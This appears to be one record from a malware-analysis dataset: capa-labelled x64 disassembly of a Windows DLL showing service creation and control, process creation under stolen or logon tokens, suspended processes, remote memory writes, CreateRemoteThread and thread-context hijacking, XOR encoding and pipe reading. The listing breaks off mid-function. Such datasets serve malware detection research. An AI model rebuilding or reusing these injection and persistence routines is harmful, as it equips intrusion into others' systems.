joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180010f10
Capabilities:
Create service

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x70
mov rdi, rdx
mov rsi, rcx
mov r8d, 0xf003f
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rbx, rax
test rax, rax
jne 0x180010f41
xor eax, eax
jmp 0x180010faa
and qword [rsp + 0x60], 0
and qword [rsp + 0x58], 0
and qword [rsp + 0x50], 0
and qword [rsp + 0x48], 0
and qword [rsp + 0x40], 0
mov qword [rsp + 0x38], rdi
and dword [rsp + 0x30], 0
mov r9d, 0xf01ff
xor r8d, r8d
mov rdx, rsi
mov rcx, rax
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
call qword [sym.imp.ADVAPI32.dll_CreateServiceA]
test rax, rax
je 0x180010f3d
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 1
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret

Function at 0x180010fbc
Capabilities:
Delete service

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rcx
xor edx, edx
mov r8d, 0xf003f
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rdi, rax
test rax, rax
jne 0x180010fe5
xor eax, eax
jmp 0x180011023
mov r8d, 0x10000
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rbx, rax
test rax, rax
je 0x180010fe1
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
je 0x180010fe1
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 1
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x180011030
Capabilities:
Start service

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rcx
xor edx, edx
mov r8d, 0xf003f
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rdi, rax
test rax, rax
jne 0x180011059
xor eax, eax
jmp 0x18001109c
mov r8d, reloc.WS2_32.dll_recv
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rbx, rax
test rax, rax
je 0x180011055
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
je 0x180011055
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 1
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x1800110a8
Capabilities:
Check for time delay via gettickcount
Query service status
Stop service

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rsi
mov qword [r11 + 0x20], rdi
push r14
sub rsp, 0x70
mov rax, qword [0x18003e040]
xor rax, rsp
mov qword [rsp + 0x60], rax
and dword [rsp + 0x38], 0
xor edx, edx
mov rbx, rcx
lea r8d, [rdx + 0x20]
lea rcx, [r11 - 0x3c]
call fcn.180019f30
and dword [rsp + 0x30], 0
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rdi, rax
test rax, rax
je 0x1800111b4
mov r8d, 0x24
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rbx, rax
test rax, rax
je 0x1800111b4
lea r8, [rsp + 0x38]
mov edx, 1
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x1800111b4
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea r8, [rsp + 0x38]
mov r9d, 0x24
mov esi, eax
lea rax, [rsp + 0x30]
xor edx, edx
mov rcx, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x1800111b4
mov r14d, 0x7530
cmp dword [rsp + 0x3c], 1
je 0x1800111da
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, esi
cmp eax, r14d
ja 0x1800111b4
mov ecx, dword [rsp + 0x50]
cmp ecx, r14d
cmova ecx, r14d
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rsp + 0x30]
lea r8, [rsp + 0x38]
mov r9d, 0x24
xor edx, edx
mov rcx, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
jne 0x18001116b
xor eax, eax
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.18001ab10
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 1
jmp 0x1800111b6

Function at 0x1800113a4
Capabilities:
Encode data using xor

Disassembly:
movsxd r10, edx
movsxd rax, r9d
sub r10, 4
cmp r10, rax
jbe 0x1800113b6
xor eax, eax
ret
mov r11, rcx
add rcx, 4
sub edx, 4
je 0x1800113e7
xor r9d, r9d
mov r10d, edx
sub rcx, r8
mov rax, r9
inc r9
and eax, 3
mov al, byte [rax + r11]
xor al, byte [rcx + r8]
mov byte [r8], al
inc r8
dec r10
jne 0x1800113cb
mov eax, edx
ret

Function at 0x1800113ec
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
movsxd rsi, edx
movsxd rax, r9d
mov rbx, r8
add rsi, 4
mov edi, edx
mov rbp, rcx
mov r14, r8
cmp rsi, rax
jbe 0x180011423
xor eax, eax
jmp 0x180011456
call fcn.18000f65c
xor edx, edx
mov dword [rbx], eax
add rbx, 4
test edi, edi
je 0x180011454
sub rbp, rbx
mov rax, rdi
mov rcx, rdx
inc rdx
and ecx, 3
mov cl, byte [rcx + r14]
xor cl, byte [rbx + rbp]
mov byte [rbx], cl
inc rbx
dec rax
jne 0x18001143a
mov eax, esi
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x180011474
Capabilities:
Create process on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbp
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x60
mov rdi, rcx
mov rcx, qword [0x180049790]
mov rsi, r9
mov rbp, r8
mov r15d, edx
test rcx, rcx
je 0x180011540
cmp dword [rsp + 0x98], 0
jne 0x180011540
mov r14d, dword [rsp + 0x90]
mov qword [rax - 0x18], r9
mov qword [rax - 0x20], r8
and qword [rax - 0x28], 0
and qword [rax - 0x30], 0
mov dword [rax - 0x38], r14d
mov dword [rax - 0x40], 1
and qword [rax - 0x48], 0
xor r9d, r9d
mov r8, rdi
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
test eax, eax
jne 0x18001158b
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x522
jne 0x180011526
cmp qword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW], 0
je 0x180011526
mov r9, rsi
mov r8, rbp
mov edx, r15d
mov rcx, rdi
mov dword [rsp + 0x20], r14d
call fcn.1800118c4
jmp 0x180011590
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x29
mov rdx, rdi
mov r8d, eax
call fcn.18000d5f4
xor eax, eax
jmp 0x180011590
mov eax, dword [rsp + 0x90]
mov qword [rsp + 0x48], r9
mov qword [rsp + 0x40], r8
and qword [rsp + 0x38], 0
and qword [rsp + 0x30], 0
mov dword [rsp + 0x28], eax
xor r9d, r9d
xor r8d, r8d
mov rdx, rdi
xor ecx, ecx
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x18001158b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, gethostbyname
jmp 0x180011531
mov eax, 1
lea r11, [rsp + 0x60]
mov rbp, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop r15
ret

Function at 0x180011768
Capabilities:
Resume thread
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x50
mov edi, dword [rsp + 0x80]
mov rbx, r9
mov rbp, r8
mov r14d, edx
mov rsi, rcx
test dil, 4
jne 0x1800117fc
lea rdx, [rax - 0x28]
call fcn.18000c71c
test eax, eax
je 0x1800117fc
mov eax, dword [rsp + 0x88]
mov rcx, qword [rsp + 0x30]
or edi, 4
mov dword [rsp + 0x28], eax
mov r9, rbx
mov r8, rbp
mov edx, r14d
mov dword [rsp + 0x20], edi
call fcn.180011474
lea rdx, [rsp + 0x30]
mov rcx, rbx
mov edi, eax
call fcn.1800115ac
test eax, eax
jne 0x1800117ee
mov rcx, qword [rbx]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
xor eax, eax
jmp 0x18001181c
mov rcx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, edi
jmp 0x18001181c
mov eax, dword [rsp + 0x88]
mov r9, rbx
mov r8, rbp
mov dword [rsp + 0x28], eax
mov edx, r14d
mov rcx, rsi
mov dword [rsp + 0x20], edi
call fcn.180011474
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop r14
ret
Function at 0x180011838
Capabilities:
Create process on windows
Create process suspended

Disassembly:
mov r11, rsp
push rbx
sub rsp, 0x60
mov rax, qword [rsp + 0x98]
mov rdx, qword [0x180049798]
mov rbx, rcx
mov rcx, qword [0x1800497a0]
mov qword [r11 - 0x18], rax
mov rax, qword [rsp + 0x90]
mov qword [r11 - 0x20], rax
mov eax, dword [rsp + 0xa0]
mov qword [r11 - 0x28], r9
and qword [r11 - 0x30], 0
mov dword [rsp + 0x30], eax
mov qword [r11 - 0x40], r8
mov r8, qword [0x1800497a8]
and qword [r11 - 0x48], 0
mov r9d, 2
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW]
test eax, eax
je 0x1800118a4
mov eax, 1
jmp 0x1800118bc
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, rbx
mov ecx, 0x45
mov r8d, eax
call fcn.18000d5f4
xor eax, eax
add rsp, 0x60
pop rbx
ret

Function at 0x1800118c4
Capabilities:
Create process on windows
Create process suspended
Get common file path

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r14
push r15
mov eax, 0x1060
call fcn.18001ab50
sub rsp, rax
mov rax, qword [0x18003e040]
xor rax, rsp
mov qword [rsp + 0x1050], rax
mov rsi, rcx
mov r14, r8
mov ebp, edx
mov ebx, 0x7fe
lea rcx, [rsp + 0x52]
xor r12d, r12d
xor edx, edx
mov r8d, ebx
mov r15, r9
mov word [rsp + 0x50], r12w
call fcn.180019f30
lea rcx, [rsp + 0x852]
mov r8d, ebx
xor edx, edx
mov word [rsp + 0x850], r12w
call fcn.180019f30
mov edi, 0x400
lea rdx, [rsp + 0x50]
mov r8d, edi
mov rcx, rsi
mov ebx, r12d
mov qword [r14 + 0x10], r12
call fcn.1800107e0
test eax, eax
jne 0x180011960
lea ecx, [rax + 7]
mov edx, ebp
call fcn.18000d508
jmp 0x180011a20
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
cmp eax, edi
jae 0x180011986
lea rdx, [rsp + 0x850]
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea rbx, [rsp + 0x850]
mov edi, dword [rsp + 0x10c0]
mov rcx, qword [0x180049790]
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x38], r14
xor r8d, r8d
mov qword [rsp + 0x30], rbx
lea r9, [rsp + 0x50]
lea edx, [r8 + 2]
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], edi
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW]
test eax, eax
je 0x1800119c9
mov eax, 1
jmp 0x180011a22
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x522
jne 0x180011a0a
cmp qword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW], r12
je 0x180011a0a
cmp dword [0x1800497b8], 1
jne 0x180011a0a
mov dword [rsp + 0x30], edi
lea r8, [rsp + 0x50]
mov r9, rbx
mov edx, ebp
mov rcx, rsi
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r14
call fcn.180011838
jmp 0x180011a22
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, rsi
mov ecx, 0x29
mov r8d, eax
call fcn.18000d5f4
xor eax, eax
mov rcx, qword [rsp + 0x1050]
xor rcx, rsp
call fcn.18001ab10
add rsp, 0x1060
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x180011d58
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
cmp dword [rcx + 4], 0
mov rdi, rdx
mov rbx, rcx
ja 0x180011d4a
mov ecx, dword [rcx]
call sub.WS2_32.dll_htonl
mov edx, 4
lea rcx, [rsp + 0x30]
lea r8d, [rdx + 5]
mov dword [rsp + 0x30], eax
call rdi
mov rcx, qword [rbx + 8]
call fcn.18001b440
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
xor esi, esi
mov r14d, r8d
mov rbp, rdx
cmp qword [0x18003f4b0], rsi
mov rdi, rcx
jne 0x180011d96
mov ecx, 0x80004
call fcn.180019c7c
mov qword [0x18003f4b0], rax
mov ecx, dword [rdi]
call sub.WS2_32.dll_htonl
mov rcx, qword [0x18003f4b0]
mov dword [rcx], eax
mov ebx, dword [rdi + 4]
cmp ebx, r14d
cmova ebx, r14d
test ebx, ebx
je 0x180011dde
mov r9, qword [rdi + 8]
mov eax, esi
mov r8d, ebx
add rax, 4
mov edx, 1
add rcx, rax
call fcn.18001baa4
mov rcx, qword [0x18003f4b0]
sub dword [rdi + 4], eax
add esi, eax
sub ebx, eax
jne 0x180011db4
lea edx, [rsi + 4]
mov r8d, 8
call rbp
mov rdx, rbp
mov rcx, rdi
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp 0x180011d10
Function at 0x1800123cc
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edi, r8d
mov rbp, rdx
xor r8d, r8d
xor edx, edx
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov ebx, eax
test eax, eax
jne 0x1800123fe
xor eax, eax
jmp 0x180012420
inc eax
cmp eax, edi
jae 0x1800123fa
mov r8, rdi
xor edx, edx
mov rcx, rbp
call fcn.180019f30
mov r8d, ebx
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x180012438
Capabilities:
Get file attributes

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
shr eax, 4
and eax, 1
add rsp, 0x28
ret

Function at 0x1800125b8
Capabilities:
Allocate or change rwx memory

Disassembly:
lea rdx, [0x180012510]
lea rcx, [fcn.1800125a4]
jmp 0x1800125b8
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
cmp qword [0x18003f4b8], 0
mov rsi, rdx
mov rdi, rcx
jne 0x1800126a2
mov ecx, 0x29
sub edi, edx
call fcn.180018ad8
mov ebx, eax
call fcn.180018ab4
lea r9, [rsp + 0x40]
add rax, rbx
mov r8d, 4
mov edx, edi
mov rcx, rax
mov qword [0x18003f4b8], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [0x18003f4b8]
movsxd r8, edi
mov rdx, rsi
call fcn.18001a590
mov r8d, dword [rsp + 0x40]
mov rcx, qword [0x18003f4b8]
lea r9, [rsp + 0x40]
mov edx, edi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, 0x18
call fcn.180019c7c
mov qword [0x18003f4c0], rax
call fcn.180018ab4
mov rcx, qword [0x18003f4c0]
mov qword [rcx], rax
mov ecx, 0x2a
call fcn.180018b50
mov rcx, qword [0x18003f4c0]
mov qword [rcx + 8], rax
call fcn.18001b380
mov r8d, eax
mov eax, 0x81020409
imul r8d
mov rax, qword [0x18003f4c0]
add edx, r8d
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul edx, edx, 0xfe
sub r8d, edx
inc r8b
mov byte [rax + 0x10], r8b
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x1800126b4
Capabilities:
Create thread

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x50
mov rdi, r9
mov ebx, r8d
mov rsi, rdx
mov rbp, rcx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp eax, ebx
jne 0x180012728
mov edx, dword [rsp + 0x80]
mov rcx, rdi
call fcn.18001343c
test rax, rax
je 0x1800127ca
and qword [rsp + 0x28], 0
movsxd r8, dword [rsp + 0x88]
mov r9, qword [rsp + 0x90]
and dword [rsp + 0x20], 0
add r8, rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x1800127ca
mov r9d, dword [rsp + 0x80]
mov r8, rdi
mov edx, ebx
mov rcx, rsi
call fcn.180013504
mov r14, rax
test rax, rax
je 0x1800127ca
mov rdi, qword [rsp + 0x90]
test rbp, rbp
je 0x180012786
movups xmm0, xmmword [rbp]
movsd xmm1, qword [rbp + 0x10]
movsxd rdx, dword [rsp + 0x88]
lea rcx, [rsp + 0x30]
mov r8, rdi
add rdx, rax
movaps xmmword [rsp + 0x30], xmm0
movsd qword [rsp + 0x40], xmm1
call fcn.180013740
test eax, eax
jne 0x1800127ca
movsxd rax, dword [rsp + 0x88]
mov r8, rdi
mov rcx, rsi
add r14, rax
mov rdx, r14
call fcn.1800136e4
test eax, eax
jne 0x1800127ca
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8, rdi
mov rdx, r14
mov rcx, rsi
mov ebp, eax
call fcn.180013628
test eax, eax
jne 0x1800127ca
lea ecx, [rax + 0x20]
mov r8d, ebp
mov edx, ebx
call fcn.18000d514
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop r14
ret
Function at 0x180012da0
Capabilities:
Create pipe

Disassembly:
mov rax, rsp
mov qword [rax + 8], rsi
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], r12
push rbp
push r14
push r15
lea rbp, [rax - 0x28]
sub rsp, 0x110
mov ecx, dword [rbp + 0x80]
mov r14, r9
mov r15d, r8d
mov esi, edx
call fcn.180019798
mov edi, 0x68
lea rcx, [rbp - 0x60]
xor edx, edx
mov r8d, edi
call fcn.180019f30
xor eax, eax
lea r8, [rsp + 0x68]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x58]
xor r12d, r12d
mov r9d, 0x100000
mov dword [rbp - 0x60], edi
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x70], r12
mov dword [rsp + 0x68], 0x18
mov dword [rsp + 0x78], 1
call qword [sym.imp.KERNEL32.dll_CreatePipe]
lea rcx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov rax, qword [rsp + 0x60]
mov edx, dword [rbp + 0x80]
mov ecx, dword [rbp + 0x78]
lea r9, [rsp + 0x40]
lea r8, [rbp - 0x60]
mov qword [rbp - 8], rax
mov qword [rbp], rax
mov dword [rbp - 0x24], 0x101
mov word [rbp - 0x20], r12w
mov qword [rbp - 0x10], r12
call fcn.180018df8
test eax, eax
je 0x180012f3b
mov r8d, dword [rsp + 0x50]
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
jne 0x180012eb1
mov ecx, dword [rbp + 0x80]
call fcn.1800197c8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, dword [rsp + 0x50]
lea ecx, [rdi + 0x21]
mov r8d, eax
call fcn.18000d514
jmp 0x180012f46
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r9d, dword [rbp + 0x60]
test r9d, r9d
je 0x180012ed7
mov r8, qword [rbp + 0x58]
mov edx, dword [rsp + 0x50]
mov rcx, rdi
call fcn.180013504
jmp 0x180012eda
mov rax, r12
mov r8d, dword [rsp + 0x50]
mov qword [rsp + 0x30], rax
mov eax, dword [rbp + 0x50]
lea rcx, [rsp + 0x40]
mov r9, r14
mov rdx, rdi
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], eax
call fcn.18001328c
test esi, esi
je 0x180012f10
mov rcx, qword [rsp + 0x58]
mov edx, esi
call fcn.180013f0c
movups xmm0, xmmword [rsp + 0x40]
movsd xmm1, qword [rsp + 0x50]
mov r9, qword [rbp + 0x68]
mov r8, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x58]
lea rcx, [rbp - 0x80]
movaps xmmword [rbp - 0x80], xmm0
movsd qword [rbp - 0x70], xmm1
call fcn.180013f80
mov ecx, dword [rbp + 0x80]
call fcn.1800197c8
lea r11, [rsp + 0x110]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov r12, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x180013504
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x40
mov r14, rcx
xor ebx, ebx
mov edi, r9d
lea ecx, [rbx + 0x2d]
mov r12, r8
call fcn.180018ad8
lea ecx, [rbx + 0x2b]
mov ebp, eax
cmp edi, eax
cmova ebp, edi
mov r15d, ebp
call fcn.180018b84
mov r9d, 0x3000
movzx eax, ax
mov r8d, ebp
xor edx, edx
mov rcx, r14
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
jne 0x18001357c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [rbx + 0x1f]
mov edx, ebp
mov r8d, eax
call fcn.18000d514
xor eax, eax
jmp 0x18001360f
test edi, edi
jle 0x1800135bd
movsxd rcx, ebx
mov eax, edi
sub eax, ebx
lea r8, [rcx + r12]
lea rdx, [rcx + rsi]
movsxd r9, eax
lea rax, [rsp + 0x88]
mov rcx, r14
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1800135f5
mov eax, dword [rsp + 0x88]
add ebx, eax
test eax, eax
je 0x180013575
cmp ebx, edi
jl 0x180013580
mov ecx, 0x2c
call fcn.180018b84
mov r8, r15
mov rdx, rsi
movzx r9d, ax
lea rax, [rsp + 0x30]
mov rcx, r14
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x18001360c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, send
jmp 0x180013600
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, reloc.WS2_32.dll_recv
mov edx, eax
call fcn.18000d508
jmp 0x180013575
mov rax, rsi
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret

Function at 0x1800136e4
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
mov rdi, rdx
mov edx, 1
mov rsi, rcx
lea ecx, [rdx + 0x2f]
mov rbx, r8
call fcn.180018b2c
test eax, eax
je 0x18001372e
and qword [rsp + 0x30], 0
and dword [rsp + 0x28], 0
mov r9, rdi
xor r8d, r8d
xor edx, edx
mov rcx, rsi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret

Function at 0x1800137b0
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
sub rsp, 0x520
mov rax, qword [0x18003e040]
xor rax, rsp
mov qword [rsp + 0x510], rax
mov rax, qword [rcx]
mov rdi, qword [rcx + 8]
mov rsi, rdx
mov qword [rsp + 0x20], rax
mov rax, qword [rcx + 0x10]
lea rdx, [rsp + 0x40]
mov rcx, rdi
mov rbp, r8
mov dword [rsp + 0x70], 0x100002
mov qword [rsp + 0x30], rax
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
xor ebx, ebx
test eax, eax
jne 0x18001380c
xor eax, eax
jmp 0x18001383f
lea rdx, [rsp + 0x40]
mov rcx, rdi
mov qword [rsp + 0xc0], rsi
mov qword [rsp + 0xc8], rbp
call qword [sym.imp.KERNEL32.dll_________________]
test eax, eax
je 0x180013808
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
setne bl
mov eax, ebx
mov rcx, qword [rsp + 0x510]
xor rcx, rsp
call fcn.18001ab10
mov rbx, qword [rsp + 0x558]
add rsp, 0x520
pop rdi
pop rsi
pop rbp
ret
Function at 0x180013864
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x320
mov rax, qword [0x18003e040]
xor rax, rsp
mov qword [rsp + 0x310], rax
mov rax, qword [rcx]
mov rdi, qword [rcx + 8]
xor ebx, ebx
mov qword [rsp + 0x20], rax
mov rax, qword [rcx + 0x10]
mov rsi, rdx
mov qword [rsp + 0x30], rax
test r8, r8
je 0x1800138ab
xor eax, eax
jmp 0x1800138ef
lea rdx, [rsp + 0x40]
mov rcx, rdi
mov dword [rsp + 0x40], 0x100002
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
test eax, eax
je 0x1800138a7
lea rdx, [rsp + 0x40]
mov rcx, rdi
mov dword [rsp + 0xf0], esi
call qword [sym.imp.KERNEL32.dll_Wow64________________]
test eax, eax
je 0x1800138a7
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
setne bl
mov eax, ebx
mov rcx, qword [rsp + 0x310]
xor rcx, rsp
call fcn.18001ab10
lea r11, [rsp + 0x320]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x180014204
Capabilities:
Read file on windows
Read pipe

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x40
and dword [rax + 0x20], 0
lea rax, [rax - 0x18]
mov edi, r8d
mov rbp, rdx
xor ebx, ebx
xor r9d, r9d
and qword [rax - 8], rbx
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rax
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
jne 0x18001424b
or eax, 0xffffffff
jmp 0x1800142ad
cmp dword [rsp + 0x30], ebx
jbe 0x1800142a9
cmp ebx, edi
jae 0x1800142a9
and qword [rsp + 0x20], 0
mov r8d, edi
lea r9, [rsp + 0x68]
sub r8d, ebx
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [rsp + 0x68]
and qword [rsp + 0x28], 0
add ebx, dword [rsp + 0x68]
add rbp, rax
lea rax, [rsp + 0x30]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rsi
